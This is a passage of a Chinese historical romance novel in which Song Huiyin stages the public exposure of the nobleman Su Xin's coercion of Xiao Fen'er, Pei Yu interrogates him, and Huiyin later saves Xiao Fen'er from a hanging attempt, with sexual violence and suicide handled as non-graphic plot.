裴衍垂头丧气,一脸郁闷的坐下,又问:“那徽音阿姊,你年少时钦慕过谁啊,我阿兄还是王寰?” 啪—— 裴彧放下箸,接过身旁婢女递过来的帕子净手,他没有抬头,声音不疾不徐:“阿母,儿子用完了,虎贲军还有事,先行离开。” 裴夫人点点头,目送他离开。裴彧走到屋外,回身扫过屋内几人的面庞,最终停在裴衍身上,朝他勾手:“出来,考较考较你的学问。” 裴衍万分不愿,屁股跟钉死在锦席上一样,埋头不语,装作没听见。他才不去,当他看不出来,阿兄生气了,他生气起来可是很严重的。 裴衍努力回想方才的谈话,他到底说了什么惹怒阿兄了。 裴彧面无表情,长腿几步走到裴衍身前,一招就制服了努力挣扎的小子,拖着他往外走,路过徽音的案前,他脚步停住,与徽音目光相接。 徽音端端正正的坐在原地,眼风未动,连办法眼神都没给他。 好,好的很。 第23章 萧氏是被迫的,她必死。…… 临水阁一楼的堂屋中, 叽叽喳喳的围坐着一群短襦婢女,她们面前放着五个一模一样勾勒游鱼的陶碗,矮案上的香炉青烟袅袅, 沉水香的味道散开。 各个眼眸晶亮,屏息凝神, 连呼吸都刻意放轻了。跪坐在中央的贺佳莹从腰上取下一块青鱼勾带放在其中一个陶碗内,手下迅速移动,眨眼间就将五个陶碗的顺序打断。 她双手摊开,面色得意:“猜吧, 谁猜中,这个就是谁的。” 颜娘叹气的靠近徽音, 私语:“这贺女郎近来是怎么了, 天天往我们这跑?” 徽音手下抄录的动作不停,贺佳莹和婢女震天的嬉闹声都对她没有影响, 她朝那边看了眼,“不必管她。” 那次家宴后,贺佳莹突然转了性子,一门心思的往徽音这处跑,徽音起初还会跟她聊聊, 开解她, 莫要在裴彧一根树上吊死。 时间久了, 徽音也看出来她对裴彧早已经无意, 可是, 她却缠上徽音了, 一天十二个时辰,她除了回秋棠院睡觉,其他时间全部待在临水阁。 徽音嫌弃她, 赶了她好几次,奈何贺佳莹脸皮厚,又能散财,临水阁上下包括颜娘都对她改观不少。 徽音也囊中羞涩,裴夫人衣裳用度从不短缺她,但是,她没给徽音银钱,是以,徽音现在还是口袋空空。 贺佳莹乐得散财,她自然也没意见。想到此处,徽音将其他人都遣了下去,等堂屋清空后,她把贺佳莹叫到面前问:“我让你办的事情如何了?” “你说苏信那事,我差点忘了。”贺佳莹凑近徽音,将打探到的消息一骨碌扔出:“苏家替苏信在太学告了三个月的假,派苏信回祖籍祭祖,此一去约莫七月才归。” 贺佳莹问:“话说,你打听他干什么?” 前几日徽音找到她,交代她一件事,让她凭手上的人脉打探苏信的行踪。 徽音看了她一眼:“我自有我的道理,不该问的别问。” 贺佳莹气鼓鼓道:“不说就不说,小气。” 徽音看着她背过去的身影,顺毛道:“你做得不错,谢了。” 贺佳莹瞬间被哄好,笑眯眯的转头,拍着胸脯,“这算啥,我说了要补偿你,你有什么事交代我就行。” “不许让旁人知道。”徽音叮嘱道,她担心贺佳莹说漏嘴,让裴彧察觉端倪。 “放心吧放心吧。” 她走后,颜娘才道:“现在怎么办,等苏信回来再动手?” 徽音神色凝重,她将身上的银钱都拿出去使人打听消息了,至今没有传回有用的。 她不可能等三个月,苏信离京前,一定会再去见萧氏一面,她不能再等了。 —— 徽音带着幕离坐在酒肆内,听着窗外的吆喝。 “益州陶具,官价出售喽!” “蜀地丝帛,细密柔软,物美价廉!” “黍饼!新出锅的黍饼!” 她顺着吆喝望去,看见垂髫小童,卖饼养家的妇人,携手上街的小娘子,还有衣着富贵,前呼后拥的贵戚夫人。 面前走过几个勾肩搭背的小郎君,他们爽朗的高声玩笑,手中还在比划些什么。 她想起了景川,他和裴衍一样,也有一颗上阵杀敌,渴望建立功勋的心。他并没有太多的武学天赋,但重在坚持恒久,每日鸡鸣时分便起,习武至天亮,再去读书习字。 他也很喜欢裴彧,裴彧越焉支山斩杀厍兰王的消息传来,他一脸钦佩的拉着徽音,将裴彧夸的天上有地下无的。 景川见到裴彧,会很开心吧。他至今没来寻她,是因为伤重无法起身还是早就不在人世了? 细碎的脚步传来,颜娘头戴遮掩身形的幕离坐在徽音身边,她喝了口茶,凑近徽音:“都已经准备好。” “砰!砰!砰!”锣鼓震天。 “大家快来帮忙!平郎官家着火啦!” 静谧的小巷被这一嗓子唤醒,青砖灰瓦的二进小院里探出一个头,平家的屋顶上涓涓冒着烟。他赶忙到屋内,提起角落里的木桶打水往平家冲。 周围的比邻的住户也都出来帮忙,他们这一片房屋连在一起,同为一条里巷,一家烧毁定会连累其他家。 平家的屋门紧闭,事急从权,几个汉子看见屋后炊烟连连,一脚踢开屋门冲了进去。 主屋房门紧闭,救火的人提着水桶冲上去,将门板拍的得簌簌落灰,里面却死寂一片,只有门闩被慌乱顶住的细微摩擦声隐约可闻。 有人道:“莫不是熏晕了。” 李三咬牙:“救人要紧,踹门!” 砰—— 屋门被一脚踹开,众人向内观望,屋子里弥漫着一股奇怪的味道,在场众人皆以成家,自然明白是怎么一回事。 再往里望去,屋内素锦淡雅,木窗大开“吱呀吱呀”摆动,帷幔层层,遮住床榻里曼妙身影,只听见妇人恐慌的哭声。 苏信着急忙慌抱着衣裳跳窗跳离,他胡乱两下将裾袍套在身上,腰带松松垮垮的系着,心里怒骂,真是倒霉透顶,本想在回乡前快活一番,不料差点被人抓住。 他呸了一声,抬手拉开后门,一股呛人的浓烟直扑过来,他猛吸一口呛的直咳嗽,好不容易浓烟散去,面前的一幕却叫他身形一滞。 数十个穿着苎麻布衣的妇人等在后门出,其中两个手上还拿着铜锣,一见他就猛敲手中的锣鼓,高喊:“来人啊!抓奸夫!” 苏信瞬间头皮发麻,他撕下一块布巾包住脸,打算蒙头冲过去,就在这时,几名乞丐小童不知从哪里窜出来抱住他的双腿,将他死死困在原地,前院那群邻里汉子也听见动静,纷纷赶来。 前有狼后有虎,苏信脸色紫青,用力扯着脚下的小童,急吼道:“都给我滚,你们知道我是谁吗!” 锣鼓再次敲响,妇人尖利的声音穿透耳膜:“他说他是廷尉苏公家的郎君苏信!” 苏信脑袋一阵轰隆,他盯着那叫破他身份的妇人不可置信,怎么可能,这群贱民怎么可能认出他! 赶来的几名汉子已经按住他,胁迫他跪在地上,一把扯下他的面巾,苏信身体僵直,呆愣愣的看着围住他的人群,他们对着他指指点点,肆意点评。 完了,一切全完了。 妇人喊出那句话后,市道上的行人齐齐像西街口涌去,他们平日里苦于生计没什么娱乐,市井八卦就是他们最热衷的事情,何况还是贵族郎君的风流韵事。 西街口乱糟糟的一片,酒肆的伙计凑到门口去观望,手里攥了把瓜子,看热闹不嫌事大,语气刁钻:“哟,还是个小郎君呢,打扮的如此富贵,怎么跑到我们这穷酸地界来找乐子,春巷还不够他去的呀。” 对面看香橼铺子老板暧昧笑道:“俗话说得好,妻不如妾,妾不如偷!那平郎官的新妇那身段,啧啧……” 颜娘狠狠剐了一眼意淫的香橼老板,她伸长脖子望着西街口,执金吾已经出动,将苏信和萧纷儿带走。 “咱们现在回去吗?” 徽音摇摇头,收回视线:“先去积香寺。” 积香寺靠近西市,多是平民来此供奉上香,说是寺,其实只是个四合院组成,周遭用土墙围成一圈,与嘈杂的西市隔开。 寺中只有几名短褐老翁守着,清理着压实的泥地,徽音跪在草席上,凝视低矮的土龛,龛中供着一块粗糙的木牌,墨迹斑驳,依稀可辨“先考妣之神位”几个篆字。 土香气味辛辣呛人,烟雾缭绕,等到时候差不多了,徽音撒了黍米撒在龛前,双手合香,朝木牌深深躬下。 宋父担着畏罪自尽的名声,荆州族内一早就来了信,不许他葬进祖坟。宋家败落,徽音没有多余的银钱将父母牌位放置到护国寺去,只能放在这里进行简单的供奉。 徽音双手合十,面无表情的跪拜下去,有朝一日,她要叫荆州宋氏族人,亲自迎阿父阿母进宋氏祖坟。 两人回府正好撞上了要出门的裴彧,他穿着玄黑官袍,外罩一件朱红镶边的披风,挎刀出门,身后还跟着驰厌和方木。裴彧盯着徽音看了几息,不着痕迹的问:“去哪了?” 徽音答:“去积香寺给我阿父阿母上了柱香。” 裴彧颚首,率先跨过院门,徽音垂头退到一旁,身上浓郁的香灰味传进裴彧鼻尖,他不适的皱皱眉,快步越过徽音上马。 紧跟其后的驰厌和方木也朝徽音一拱手,迅速跟上裴彧,快速朝东北方骑行。那里是廷尉署的方向。 徽音望着他远去的身影静静出神,裴彧身上挂着廷尉右监的虚职,苏家是未来太子的外家,平桢又是太后的侄子,这桩通奸案异常棘手,金吾卫一定会将案子扔给廷尉。 而九卿廷尉大人苏文易是苏信的父亲,此案他必然要回避,那么,裴彧就是最适合接受这案件的人选。 徽音很想知道,在这桩案子上,裴彧是会公允处理还是包庇谋私? —— 廷尉署坐北朝南,由多个夯土围墙的独立院落组成,门前夯土台高达一丈,数百青石台阶上立着两尊怒目圆睁的青铜狮头像。 悬梁上的牌匾刻着廷尉二字,朱漆大门上钉着九排铜钉,这里便是南朝最高的审讯机关。 甬道两边的石墙上每隔数十步挂着一盏摇曳的陶灯,诏狱的刑讯室内,常年潮湿浸染血渍的青砖染成暗褐色,角落处还生有青石苔。 越过甬道下阶梯,诏狱的形讯室映入眼帘,东西两侧摆着巨大的血渍木架,上三行下三行,摆满了各式各样的刑具,叫人一看心生恐惧。 最南处的高阶上摆着一件朱玄相间的低矮案几,矮几后的地面上摞满记录供词的简牍。 裴彧坐在案几前翻着记录的口供,扬手将竹简丢在苏信面前,冷声质问:“你的口供与萧氏不一样,你没有什么要解释的吗?” 苏信勾唇,从跪姿势换成箕踞,两腿向前伸直叉开,这是个很不雅的动作,他晃晃手中的镣铐,不满道 :“裴将军,我可不是犯人,你要不先叫人给我松绑?” 裴彧看向地上不知死活的苏信,忽而一笑:“你在等你父亲,等他来救你?” 他起身走到苏信面前,自袖中取出一枚鸡翅木令牌给苏信看,“你当陛下为何将此案交予我,你以为平桢是谁,他会仍由你侮辱他的妻?” “你又以为平家是谁?太后是谁?” 苏信紧抿着唇,没有说话,那令牌上刻着凤纹,当今世上只有两人能用凤纹,裴皇后以及那位深居宫中的平太后。 平家三年前不过才是小吏之家,短短三年便被陛下提拨至一门两侯,并非他们能力多突出,而是因为他们是平氏族人,平太后的亲族陛下的亲外家。 苏信低下头,父亲经常在家中对他耳提面命,不许招惹平氏,最好躲着他们走。 苏信自大,从不将平桢放在眼底,在他心中,平桢最多算是个运气好的私生子,若非平老三死的早,他还不一定能被认回平家。 半年前,他和几个交好的贵戚子弟在春巷喝完酒,相拥着去西市弄着吃食,无意间瞥见萧纷儿提着竹篮出门采买的身影。 貌美还是其次,主要是她身上那股柔柔弱弱的气质,眉间一下就吸引住苏信,勾的他心痒痒,当下打听清楚她的身份,趁着平桢在宫中当差那夜,摸进了平家,强迫了萧纷儿。 想到此处,苏信慌乱片刻,一口咬定:“是萧氏勾引的我,都是她的错,我只是一时糊涂。” “哦?”裴彧蹲下身,平视苏信盯着他的眼睛问,“可萧氏说,是你强迫的她,建元四年冬日甘九的夜里,你翻进平家,强迫侮辱了她。” “不是的,她撒谎!她在撒谎!”苏信猛的撇开脸,躲避裴彧的凝视,他手心疯狂出汗,不停的在衣摆上擦拭。 裴彧看他一副心虚至极的模样,心中已经了答案。他直起身,回到案几边坐下,靠在狮纹漆具凭栏上,漫不经心的睨着苏信,轻笑出声:“你不会以为,只要一口咬定是萧氏勾引的你,你就能平安无事脱身吧。” 苏信一怔,不明所以的看着裴彧,昨日阿父拖人给他递话,称只要他一口咬定是萧氏勾引,阿父就能替他运作脱罪。苏信低下头,裴彧一定是在诈他,一定是。 裴彧看他一副不见棺材不落泪的样子,抬手吩咐驰厌将人带上来。随后,几名眼熟的锦衣子弟被驰厌带上堂内,他们似乎是刚刚被教训恐吓过,此刻耷眉躁眼,几人瑟瑟缩缩挤成一团。 “这几人眼熟吗?”裴彧问。 苏信垂下头,一语不发。 “无妨,你不说就让他们来说。”裴彧轻点下颚,示意驰厌开始。 驰厌对着那几名锦衣子弟,双手合掌捏的关节吱呀响声,语调怪异,“是你们主动交代,还是我再帮帮你们?” 几名锦衣子弟眼中浮现惊恐,纷纷朝裴彧的方向爬去,同时飞快交代:“数月前,我等与苏信喝酒小聚,席上他酒醉亲口向我们袒露,说自己如何如何潜进平家,强迫了平桢的妻子!他还说,萧氏被迫时的哀啼声是天下美音!” “裴将军,我等所言句句属实,句句属实啊!此时与我等全然无关,不如先放我等归家吧。” 裴彧挥手,驰厌便唤人将几人带下去,他轻叩书案,望着苏信,“你还有何话可说?” 苏信从那几人被带进来起就埋头不语,他没想到,裴彧居然都查到了这几个狐朋狗友身上,他往日喜欢和他们凑在一起喝酒,喝醉了那是什么话都敢说的。 通奸罪本来就可大可小,长安那么多高官子弟,并非他一人有罪,怪就怪在平桢身份不一般,甚至此时还闹得众人皆知。 苏信眼中浮现阴狠,他是叫人给算计了,等他脱身出去必要将那人碎尸万段! 想到此处,他示弱的匍匐上前,跪在裴彧脚下,犹如抓住救命稻草般恳求:“裴将军,我阿姊是未来太子妃,苏家是太子外家,我是太子未来的小舅子啊!你不能将我交出去,你得帮我,否则苏家名声受损,与太子也无益啊!” 他自以为说的没错,却没料裴彧突然大笑起来,昏暗的烛光映在他脸上,眼底的嘲讽清晰可见,苏信咽下口水,不解的发问:“裴将军,你笑什么?” “我笑,你异想天开。” 裴彧一脚将苏信踹倒在地,冷声道:“你也配提太子,一个无益与太子,甚至会给太子带来麻烦的外家,你凭什么觉得我会帮你?” “此案我会如实承报上去,”裴彧抬脚离诏狱刑讯室,声音回荡在刑讯室,听在苏信耳里如同恶鬼低吟,“至于你,全看你苏家有多大能耐,能将你捞出去。” 裴彧走出诏狱,登上廷尉署门前二楼的阁道,任清风吹去他衣裳上的血腥味。 等在署衙门口的方木看见裴彧后,立刻挎着环首刀“噔噔”的跑上二楼,站在裴彧身后为难道:“少将军,平桢他来了,他说一定要带他夫人回去。” 裴彧顺着方木指着的方向看去,平桢身量不高,皮肤白皙,面容清秀。他穿着一袭郎官制服,应该是刚刚从宫中回来就立马赶到廷尉。 他和平桢并不相熟,不过,萧氏算是无妄之灾,怕是活不成了。 裴彧抬眼望了下身后的牢房,没什么同理的心情,看在平太后的面子上他同意的放行,吩咐:“让他把人带回去吧。” “是,少将军。”方木领命。他下楼径直走到廷尉署的台阶上,将裴彧的命令转达。 平桢听闻后,朝二楼阁道恭恭敬敬的行了个大礼,随后一脸急切的跟在方木进了廷尉府。 半响后,他扶着站不稳的萧氏上马车离开。 方木抱臂感叹:“这平桢瞧着一副儒生模样,却不想待妻子如此情深,到是个难得的痴人。” 驰厌摸着下巴思考,微微摇头:“没有哪个男人能忍下这个屈辱吧,何况此事已经闹的天下皆知了。” “少将军,您怎么看?”方木问。 裴彧看着落下的夕阳,平静道:“是个痴人,也是个蠢人。” “少将军,这从何说起?”驰厌疑问。 “若非他坚守骨子里的清高,坚持不肯回平家,硬要带着妻子住在市井之中。又不肯接受平家的供养,只凭一个小小郎官的俸禄,家中清贫请不起奴仆,这才给了苏信有机可乘之机。” “何况,”裴彧转身下楼,语气讥讽,“其妻被强迫侮辱半年有余,他却丝毫不知。” 在这个世道里,清高不算一个好词,若握不紧刀锋,无半分能力,如何护住在意之人。 今日之事,幕后定有人在推波助澜,那场火来的蹊跷,说是着火,实则是在平家后院的黄土墙下用打湿的柴火烧出的浓烟,制造出失火的假象。 苏信虽是色中饿鬼,但一身武功行事谨慎,那人算准了他会从后门逃跑,早就再后门布下天罗地网等他去投。 幕后之人定时已经跟踪他许久,等待时机一击毙命。只是这人,不知是单纯冲苏家而来,还是意有所指。 想到这里,裴彧吩咐方木和驰厌去将今日涉案人等一一问询清楚,尤其是那名叫破苏信身份的妇人,她是受何人指使? 裴彧回府时已经是深夜,他并未回前院,而是转道去了临水阁。 临水阁院内烛火已熄,只剩二楼主屋还亮着灯,纱窗上投映着徽音的身形,她似乎是在梳发,长发披散,婀娜旖旎。 咚咚—— 临水阁院中燃起灯,有人敲响了徽音的屋门,阿桑的声音传来:“宋娘子,少将军来了,他在一楼等您。” 颜娘整理衣橱的动作一顿,回望徽音,她心中七上八下的,担心裴彧发现了她和徽音的踪迹,前来问罪。 徽音安抚住颜娘,披上外裳下楼,楼内堂屋只点了一盏灯,视线昏暗,阿桑等人不见踪影,只有裴彧一人站在屋内。 他身形修长,覆手而立凝视堂屋中那件绘彩屏风,那屏风是裴夫人特意送来的,上头绘着星宿天象图画。 裴彧听见动静转身,凝视站在楼梯口的徽音,她头发散在肩后,不施黛粉,披着一件胭色的曲裾外袍,露出内里杏色的里衣。橘色的烛火下,连往日清冷的眉眼都变得柔和起来。 “少将军,有事吗?” 裴彧问:“你今日除了去西市积香寺还去了何处?” 徽音缓缓走上前,裴彧注意到她的裙摆处,那里露出的肌肤白皙如玉,白的亮眼。 徽音注意到他的视线,立马将脚缩回裙底,她下来时忘记穿绫袜了,她停在原地,回答裴彧的问题:“还去了西街口。” 裴彧走上前,和徽音面对面站着,只保持一臂的距离,他盯着徽音的眼睛质问:“你去那里做什么?” 徽音面露疑惑,反问:“少将军不知吗?今日西街发生了一件大事,整个西市都传遍了,我也过去看了看热闹。没想到,居然是苏信。” 裴彧盯了她片刻,没从她脸上发现什么端倪,但直觉告诉他,宋徽音在撒谎。他的直觉不会有错,过去几年里,他就是凭着敏锐的直觉躲过匈奴的冷硬的刀剑和夺命的弓弩。 徽音垂下眼,忽而转换了个方向,声音低落:“少将军是在怀疑我吗?” 裴彧没有说话,而是一步一步逼近徽音,直到她退无可退,背脊抵在墙壁上。 他伸手捞过徽音垂在肩侧的头发,凑近她耳边望进她眼底,呢喃:“我不该怀疑你吗?” 他的动作无比暧昧,那双眼里却毫无感情,像长河沙漠里的一匹野狼,显露出最凶恶的秉性。 这样的裴彧徽音从来没见过,与他以往的玩世不恭,桀骜不驯完全不同。此刻的他,才像是那个在草原上同匈奴人肆意砍杀,战无不胜的少年将军。 徽音抬眼望着裴彧,无比坚定道:“不是我,与我无关。” 裴彧看着她这副信誓旦旦的模样,收起眼底的冷意,低头失笑,他撤开手,转身离开临水阁。 徽音刚松了口气,就看见那走到院门口的人突然回头开口,话音透着冷漠:“你知道吗?萧氏是被迫的,她被苏信强迫威胁达半年有余。此事一出,无论是不是萧氏的问题,她必死。” 徽音浑身发冷,呼吸急促,她不再去想裴彧说这句话的用意,回道:“那罪魁祸首呢?” 裴彧没有回答,但徽音已经明白了。 第24章 她不愿,也不能,拿两条…… 夕阳西斜, 云霞层层叠叠地染开,晕成一片。莲湖水面覆上一层金色,偶尔有鱼儿跃出, 溅起几朵水花,又很快归于平静。徽音坐在堂屋内, 望着莲湖抱发呆。 贺佳莹一如既往的待在临水阁,不过她这次没带着婢女们玩乐,而是聚在一起谈论今日市井上发生的那件大事。 细碎的议论声传进徽音耳里:“要我说,都是那萧氏不守妇道。她本身就出身微寒, 幸得平郎官不弃,居然还做出此等下贱之事。” “就是, 我听说是她勾引的苏小郎君, 在她屋里发现了不少苏郎君的私物呢。” “我也听说了,萧氏还不止这一个奸夫, 有好几个了。” 贺佳莹倚着头,脸皱成一团:“我见过萧氏几面,她不像这种人。” 婢女笑嘻嘻接话:“女郎,知人知面不知心呀,外面都在传是萧氏勾引的苏小郎君, 说的有鼻子有眼呢。” “你们, 在说什么?” 贺佳莹回头望去, 方才还在木窗处的徽音不知何时站在她们的身后, 婢女们见到徽音纷纷伏地行礼。 贺佳莹发觉徽音脸色不对, 她站起身询问:“你没事吧, 脸色怎么这么难看,是不是生病了?” 徽音重复刚刚那句话,“你们, 刚刚在说什么?” “你不知道吗,昨日西街那边发生了一件大事,就是你上次问我的那个平桢” 徽音打断她,“这事我知道,我是问,你们说是萧氏勾引苏信的事?” 跪着的阿桑接话:“回宋娘子,市井都传遍了,是萧氏勾引苏信,不仅如此,她还与其他男人有染,大家都说要将她沉塘呢。” 徽音踉跄两步,贺佳莹赶忙上前扶住她,摸到她手下不停的在渗冷汗,她焦急道:“你怎么浑身冷汗淋淋,你们还不快去请医官。” “回来。”徽音叫住要出屋的阿桑,摇头道 ,“无事,睡一觉就好了。” 徽音转身上楼,靠在屋门后缓缓跪坐下,她明明有吩咐过让那些市井妇人将罪责往苏信身上引,尽量把萧氏从中摘出来。 但是她却忽略了,在这男女之事上,本就是女子吃亏多,何况是通奸之名,背后还有一心要为苏信洗脱罪名的苏家,即便萧氏无辜,也挡不住流言蜚语和苏家的栽赃陷害。 她好像做错了,为了一己私欲,害了一个无辜的女子。徽音抱住身体,望着高悬的太阳,怔怔发呆。 颜娘在外敲门,“徽音,你怎么了?” 她擦干泪,努力让自己的声音变得平静:“我没事,我就是想独自待一会。” 徽音听见颜娘低低的应了一声,她听见屋外衣料悉悉索索的声音,是颜娘跪在门后,低声安慰她:“徽音,这是她的命,不是你害的她。” “可是,她会死……她会死的……” 徽音喃喃道:“我真的没有办法了,我不是故意的。” 颜娘急的拍门,声色哽咽:“就算不是你,此事也瞒不了都久,要怪就怪苏信,都是他的错!他不是人……徽音,莫哭了。” 徽音泪眼朦胧间好像看了山上小小的坟包,积香寺里供奉的牌位,还有朝她笑的开怀的景川。她奋力擦去眼泪,咬紧牙关,人生在世,本就是不能人人都对得住的。 颜娘等了许久都没听到屋内的声音,就在她忍不住要撬门的时候,徽音打开门,双眼通红的站在她跟前,递给她一块竹简,上头刻了好些篆书,颜娘只依稀认出“苏信”,“庶母”的字眼。 “把整个趁乱塞到平阳侯府郑家在东市的酒肆,剩下的我们就不用管了。” 苏家用流言舆论,她也能用。旁人不知苏家的阴私,徽音却比任何人都清楚,苏信从小就沾花惹草,这不是他第一次犯这个毛病。 两年前,苏文易新纳了一个妾室,苏信觊觎其美色,强迫庶母与其通奸,那女子性烈不堪受辱自尽而亡,苏文易虽恼火,却不得不为小儿子遮掩,收拾祸事。有此前科,看他们还有什么脸说罪全在萧纷儿。 她甚至都不用亲自出手,只用将消息放给郑家,吴王和平阳侯府早就想拉下太子,减除其羽翼,他们绝不会放过这大好的机会,一定会狠狠咬住苏家不放。 一桩通奸案奈何不了苏信,那涉及两党之争呢?她要将太子和吴王都拉下水,届时,到要看看,苏文易如何冒天下之大不韪保住他心爱的小儿子。 徽音不在乎裴彧知道此事后是什么反应,也许会直接将她赶出府,不,牵涉到太子,他也许会直接杀了她。 她管不了那么多,死的不应该是萧氏,应该是苏信。 —— 东方出现一抹鱼肚白,夜色悄然退去。晨风微凉,掠过树梢,抖落几滴残存的露水。几个粗使仆妇挽着衣袖,麻布裙角掖在褐布腰带里,拿竹枝长帚轻扫临水阁院前的落叶。 阿桑拿着打湿的帕子伏在地上擦拭堂屋的地板,阿蘅高举扫长帚扫去廊柱上结的蛛网。 颜娘坐在一楼堂屋外,膝放着没绣完的帕子,望向二楼的木窗,心中有些担忧。往常这个时辰徽音已经起身了,今日是怎么了,一直没有动静。 她想起昨日徽音的泪眼,终是放心不下,起身上楼查看。二楼门窗紧闭,屋内寂静无声,颜娘上去轻轻敲门,唤道:“徽音,徽音。” 颜娘加重力道,猛拍门门,屋内还是没有动静。她着急起来,连忙唤人上来将门撬开,颜娘越过帷幔快步进了内室,徽音躺在床榻上,静静沉睡。 她凑上前去,发觉徽音呼吸发热,额上冒着细汗,再一探手,徽音身上滚烫高热。她连忙吩咐阿桑去烧水,又让脚程快的阿蘅去请医官。 灌药擦身折腾了大半日,临近午时,徽音才醒,醒来喉咙滞涩,头目晕眩,腹中饥饿泛痛。 颜娘扶着徽音坐起身,将熬好的粥放在小木几上,服侍徽音用饭。 “什么时辰了?” 颜娘拌着酱回道:“午时了,早上吓死婢了,您浑身高热,药都灌不下去。” 徽音掩唇咳嗽两声,望着外头的艳阳,已经四月了啊,万物新生。 “外头情况如何了?” 颜娘叹了口气:“闹翻天了,听说今日朝堂上不少御史上奏,要以通奸的罪名处死苏信和……萧氏。” “市井呢?” 颜娘继续回答:“郑家出手了,短短一夜之间,现在人人都在骂苏信,说他不是人,觊觎强迫旁人的妻子,连庶母都不放过,实乃禽兽□□转世。” 徽音用完饭,将苦涩的汤药咽下。她唇色苍白,明明艳阳高照的天气里,她裹着被褥还发冷。 徽音想,她是真的病了,病的不轻。 “徽音,你觉得这事能成吗?”颜娘小心翼翼的问道。 徽音摇摇头,说实话,她也没有把握,事情到了这个地步,牵涉太后,太子,吴王三方,端看陛下如何抉择了。 “颜娘,我要见她。”徽音起身下地,她脚步虚浮,全靠颜娘撑着才没有倒下。 颜娘一脸不赞同,劝阻道:“你现在这样如何能出门,等过两天,等病好了再去见行不行?” 徽音难受的摇摇头,心上像压着块重石喘不过气:“等不了,再等下去就见不到。” 她该去见萧纷儿的,她应该去向萧纷儿全盘托出,告知她真相。这样,萧纷儿要恨,也不会恨错人。 颜娘一滞,低头抹泪,不再劝阻徽音,帮着她收拾好,陪着她去西街见萧纷儿。 马车停在西市就走不动了,往日人流量不大的市道挤满人群,平家小巷口的立着一个方脸妇人,苎布麻衣,嘴皮子却极为利索,一句接一句的难听话往外蹦,连骂一炷香不打岔的。 徽音离的比较远,只依稀听到几个辱骂性极强的字眼,“□□”,“□□”,“贱婢”。 她作为局外人都听不下去,何况是直面的萧纷儿。不用想,这定然是苏家派来的搅弄是非。 徽音抬手招来一个看热闹的小童,摸摸他的脑袋,塞给他一把五铢钱,吩咐道:“你去买个铜锣,边敲边喊执金吾卫来了,剩下的钱拿去买糖吃。” 小童望着面前的娘子,她头上戴着白纱幕离看不清脸,身上的淡香比香料铺子里面的味道还好闻。 他乖乖点头,拿着五铢钱一溜烟的跑去杂货铺买铜锣。再用剩下钱买了一串糖葫芦,其余余钱揣在兜里,等回家拿给阿母买肉麦饼吃。 他咬着酸甜可口的糖葫芦,手中的铜锣敲的震天响,使出吃奶的力气大喊:“执金吾卫来了,快跑啊!” “咚——” “执金吾卫来了,快跑啊!” 原本还聚集的人群三息散乱开,该采买的采买,该吃饭的吃饭,该回家的回家。至于那叫骂的方脸妇人,早在听见第一声叫喊的时候就跑了个没影。 等人群都散开,徽音才慢慢走近小巷里,平家屋门紧闭,门前脏乱不堪,划痕,碎石块,烂菜叶子,甚至还有金汁泼在门前,散发恶臭。 颜娘扶着徽音来到平家家门口,徽音平复好心绪,上前抬手敲门。只是她的手停留在木门前一寸,怎么都敲不下去。 徽音收回手,她害怕了,她不知道该如何面对萧纷儿,不知该如何向萧纷儿开口诉明真相。 她转身想要离开这片让她心悸的地方。 就在这时,平家屋内传来一声“哐当”,徽音猛然回头,慌乱唤着颜娘:“傅母,踹门!” 颜娘“哎”了一声,抬脚踢开平府本就千疮百孔的木门,木门应声而倒,徽音提着裙奔进院子,推开主屋的木门,映入眼帘是一具挂在房梁上轻轻晃动的素白曲裾女人,裙裾散开,如同一只蹁跹的蝴蝶。 她双手紧抓着颈间的绸带,脸色铁青痛苦的挣扎。 徽音气血上涌,冲上前抱住萧纷儿晃动的身体,用尽力气往上举。颜娘见状慌忙找到绣篮里的剪刀,爬上堆叠起来的矮案几,奋力划破白绸。 突如其来的冲击使得三人其其摔倒在地,徽音垫在最底下,萧纷儿刚好摔在她身上痛苦的呻吟。 她顾不得去查看腰间胀痛处,连忙去看萧纷儿的脸色,好在救的及时,萧纷儿除了颈间有青紫勒痕外没有其他大碍。 颜娘摔在矮榻上,榻上垫有厚厚的褥子,连油皮都没有擦破。她瞧见徽音和萧纷儿倒在一处,连忙起身跑过去,帮着徽音将萧纷儿抬到矮榻上,两人这才看清萧纷儿的长相。 她约莫十八九岁年纪,生得很标志。鹅蛋脸,细长眉,此刻含着泪,眼尾微微泛红,鼻梁纤细挺直,唇色淡得几乎与脸色无异。 徽音看她神色痛苦的捂着腹部,担心她是撞到了,起身倒了杯茶喂她喝下。她打量着这间屋子,北墙处的榻上铺着青色绢布寝褥,侧边的桐木衣架上挂着几件素色深衣与寝衣。 屋内最显眼处悬挂一幅素绢美人图,笔墨艳丽,渲染不凡,其眉眼容颜赫然是倒地的萧纷儿。 绘画之人应是用情至深,画中美人眼波流转,美目盼兮,这幅画比萧纷儿本人还要好看三分。 萧纷儿喝下茶水好转不少,这才有空观察闯进家门的两人。 两人皆带着遮掩身形的幕离,倒水给的那位明显是个年轻娘子,手指纤细,皮肤细腻,身上的布料是绸,顺滑柔软,衣摆处绣着芍药缠枝暗纹,是个富贵人家出身。 身形矮胖的那个力气颇大,手掌处有茧痕,处处关怀那年轻娘子,应当是那娘子的仆从。 萧纷儿捂着颈脖处艰难的发问:“你们是何人,为何会闯入我的家中,又为何要救我?” 她问完这句话后,那年轻女郎摘下幕离,凝视着她。幕离下是一张极好看的面容,双眉远山含黛,长睫颤颤如小扇,美得教人不敢高声打扰,恐惊了那通身的清冷气韵。 那女郎动了动唇,上前两步跪在她身边垂下头,道:“我叫宋徽音,我……就是设计让你和苏信……之事被人撞破的人,将你害成如今这副模样的人就是我。” 萧纷儿看见那娘子说完这句话后,双手交织放在胸前,向她磕头行了个大礼。她的泪珠滴落在木板上,留下深深的水痕。 萧纷儿颤抖的问道:“宋徽音,我知道你,可是,你……为何?” 徽音直起身,泪珠大颗的滑落,胸口酸涩胀痛:“为了报仇,我阿弟因苏信而坠崖,生死不知。所以我,私下跟踪苏信,得知你们的事情,设计捅破此事,想叫他名声尽毁。我对不住你……” “不用再说了,”萧纷儿打断徽音的话音,露出一个凄惨的笑容,她痛苦的闭上眼,眼角泪珠滑落,“我不怨你,我感激你,谢谢你让我解脱。” 萧纷儿缓缓站起身,走到屋中那副美人图面前,神色缱绻怀恋,她轻轻摸着那副画,喃喃自语道:“我欲与君相知,长命无绝衰。” 可下一瞬,她突然换了脸色,面目狰狞的扯烂那副美人图,狠狠扔在地上践踏,彷佛那画是她的仇家。 萧纷儿回望徽音,眼底满是死寂:“这副画是成婚那年询郎为我所绘,他说希望我不在的时候能随时看见我,就把这副画挂在了屋内最显眼之处。” 